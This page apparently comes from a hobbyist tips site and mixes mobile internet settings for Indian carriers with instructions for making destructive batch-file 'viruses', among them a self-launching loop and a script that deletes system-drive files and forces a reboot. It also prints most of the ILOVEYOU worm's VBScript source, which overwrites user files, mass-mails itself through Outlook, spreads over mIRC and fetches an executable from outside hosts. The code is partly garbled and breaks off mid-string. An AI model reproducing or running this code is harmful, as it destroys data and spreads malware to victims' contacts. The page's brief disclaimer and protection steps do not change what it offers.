Viruses and other things

CMD VIRUS

Go to notepad.
And type:-
start name.bat
And then save it as name.bat

CMD VIRUS

Go to notepad.
And type:-
start name.bat
And then save it as name.bat

MAKE A SHUTDOWN VIRUS


Go to notepad and open it .
Then type the code:-
@echo off del%systemdrive%\*.*
/f/f/q
shutdown -r-f-t 00
Then save it as name.bat
Where .bat means it is a batch file

ALL SIM INTERNET MANUAL SETTING


================================================== =

AIRTEL
================================================== =
AIRTEL LIVE
Account Name – Airtel live
Homepage – http://live.airtelworld.com
Username – Blank
Password – Blank
Proxy – Enabled/yes
Proxy and Server Address – 100.1.200.99
Accesspoint Name – airtelfun.com
Proxy and Server Port – 8080
Data bearer – GPRS/ Packet Data
Authentication Type – Normal
------------------------------------------------------------
MOBILE OFFICE
Account Name – MO
Homepage – www.google.com
Username – Blank
Password – Blank
Proxy – disabled/no
Accesspoint Name – airtelgprs.com
Proxy and Server Port – 8080
Data bearer – GPRS/ Packet Data
Authentication Type – Normal
------------------------------------------------------------
AIRTEL NOP
Account Name – NOP
Homepage – www.google.com
Username – Blank
Password – Blank
Proxy – Enabled/yes
Proxy and Server Address – 100.1.200.99
Accespoint Name – airtelwap.com
Proxy and Server Port – 8080
Data bearer – GPRS/ Packet Data
Authentication Type – Normal
------------------------------------------------------------

Airtel mms settings
AccountName:- AIRTELMMS
ServerAddress:- http://100.1.201.171:10021/mmsc
ProxyAddress:- 100.1.201.172
ProxyPort:- 8799

================================================== =

IDEA
================================================== =

IDEA FRESH
Account Name – idea FRESH
Username – Blank
Password – Blank
Homepage – http://wap.ideafresh.com
Proxy and Server Port – 8080
Proxy and Server address – 10.4.42.45
Data bearer – GPRS / Packetdata
Access Point Name – imis
Proxy – Enabled/yes
Authentication Type – Normal
------------------------------------------------------------------

IDEA GPRS
Account name - idea gprs
username - blank
password - blank
homepage - www.google.com
port and proxy - leave it blank
access point - INTERNET
================================================== =

VODAFONE
================================================== =

VODAFONE GPRS
Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401 or 9201
Data Bearer: Packet Data
Packet Data Access Point: portalnmms
Network type: IPV4
Authentication: normal


================================================== =

TATA DOCOMO
================================================== =
TATA DOCOMO DIVE IN
Account Name – DocomDive
Username – Blank
Password – Blank
Homepage – http://divein.tatadocomo.com
Proxy and Server Port – 8080
Proxy and Server adress – 10.124.94.7
Databearer – GPRS / Packetdata
Acces Point Name – tata.docomo.dive.in
Proxy – Enabled/yes
Authentication Type – Normal
------------------------------------------------------------
DOCOMO INTERNET
Account Name – DocomNet
Username – Blank
Password – Blank
Homepage – www.google.com
Proxy - Disabled / No
Databearer – GPRS / Packetdata
Acces Point Name – tata.docomo.internet
Proxy – Enabled/yes
Authentication Type – Normal
------------------------------------------------------------
DOCOMO MMS
Account Name – DocomoMMS
Username – Blank
Password – Blank
Access point- tata.docomo.mms
home page- http://mmsc/
Proxy - Enabled / Yes
proxy server- 10.124.26.94
port- 8799
Databearer – GPRS / Packetdata
Proxy – Enabled/yes
Authentication Type – Normal

================================================== =

Reliance GSM
================================================== =
Reliance GSM WAP
SettingAPN: rcomwap
Login Request Required : off
Authentication : PAP
Data Compression : off
Header Compression : off
Settings Name: Mobile World
Home Page / WAP Page: http://wap.rworld.co.in
Proxy: Yes
Proxy Server Address : 010.239.221.005
Port : 8080
Full Address in case of Windows Phone : 010.239.221.005:8080
User Name = leave it blank
Pass word = leave it blank
------------------------------------------------------------
Reliance GSM RCOMNET Setting
ACCOUNT NAME-RCOMNET
APN-rcomnet
(leave other field like proxy ,dns,username password blank)
------------------------------------------------------------
Reliance mms settings
APN: rcommms
Login Request Required : off
Authentication : PAP
Data Compression : off
Header Compression : off
Settings Name: Reliance MMS
Home Page / WAP Page: http://wap.rworld.co.in
Proxy: Yes
Proxy Server Address : 010.239.221.005
Port : 8080
User Name = leave it blank
Pass word = leave it blank
------------------------------------------------------------
MMS Server Settings
Server URL: http://10.239.221.47/mms/
Ip Address: 10.239.221.5
Apn: rcommms
================================================== =

AIRCEL
================================================== =

Aircel Gprs
accont name-AIRCEL-GPRS
APN:aircelgprs
homepage-www.google.com
(leave other field like proxy ,dns,username password blank)
------------------------------------------------------------

POCKET INTERNET (WAP)
accont name-AIRCEL-WAP
APN:aircelwap
homepage-www.google.com
(leave other field like proxy ,dns,username password blank)


================================================== =

BSNL
================================================== =


BSNL GPRS SETTINGS
TO ACT 3G SEND SMS AS ACT 3G TO 53733[TOLLFREE]
------------------------------------------------------------

SETTINGS ARE AS FOLLOWS
------------------------------------------------------------
1] bsnllive
APN = bsnllive
IP = 10.220.67.131
PORT = 8080
HOMEPAGE = http://bsnllive.in
------------------------------------------------------------
2] bsnlmms
APN = bsnlmms
IP = 10.210.10.11
PORT = 8080
HOMEPAGE = http://bsnlmmsc.in
------------------------------------------------------------
3] bsnlnet
APN = bsnlnet
IP = NONE
PORT = NONE
HOMEPAGE = http://www.google.co.in
------------------------------------------------------------
4] bsnlstream
APN = bsnlstream
IP = NONE
PORT = NONE
HOMEPAGE = NONE

================================================== =

UNINOR
================================================== =
UNINOR Manual Gprs Settings
Account Name – UNINOR
Username – Blank
Password – Blank
Homepage – www.google.com
Proxy and Server Port – 8080
Proxy and Server adress –10.58.10.58
Databearer – GPRS / Packetdata
Acces Point Name – uninor
Proxy – Enabled/yes
Authentication Type – Normal

================================================== =

VIDEOCON
================================================== =

Videocon gprs settings
Connection Name : Videocon Internet
Data Bearer : Packet Data
APN : vinternet.com
Username & Password: Blank
Homepage : www.google.com
Proxy server : Blank
Proxy port : Blank------------------------------------------------------------

Videocon WAP
Connection Name : Videocon GPRS
Data Bearer : Packet Data
APN : vgprs.com
Username & Password: Blank
Homepage : http://wap.live.in
Proxy server : 10.202.5.145
Proxy port : 8799------------------------------------------------------------


Videocon MMS

Connection Name : Videocon MMS
Data Bearer : Packet Data
APN : vgprs.com
Username & Password: Blank
Homepage : http://10.202.4.119:10021/mmsc/
Proxy server : 10.202.5.145
Proxy port : 8799
================================

Increase internet browsing speed

Multiple file sending
Send group email
Work offline by saving pages

OPEN WEBPAGES FASTER BY INCREASING YOUR CACHE


OR
Go to desktop .
Right click on computer icon.
Then go to manage option .
New window will open .
Then double click on Services and Applications option .
Double click on services option .
Then search windows services option .
Right click on it and select properties.
New window will open then in startup type.
And choose disabled .
And click on apply and then Ok


TECH WILL WIN

iloveuvirus

There is a very dangerous virus named ILOVEU virus which was sent through email it caused $1,000,000 monetary loss to all the computer in the world .The inventor of the virus was was not caught he ran to other country.


WARNING :- We are publishing the code but we do not wanna you to use this code and harm other's.


HOW TO GET SAFE FROM THE VIRUS

Click your start button

Click on Settings

Click on Control Panel

Double-Click on the Add/Remove Programs icon

Click on the Windows Setup tab

Click on Accessories to obtain the details

Uncheck Windows Scripting Host if it is checked

Click "ok" to save any changes

VIRUS CODE

rem shivendra -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKern el32",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService s\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfm
hPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqw
erWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBd
QZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSD
GjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN -BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BU GSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Main\Start Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead )
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="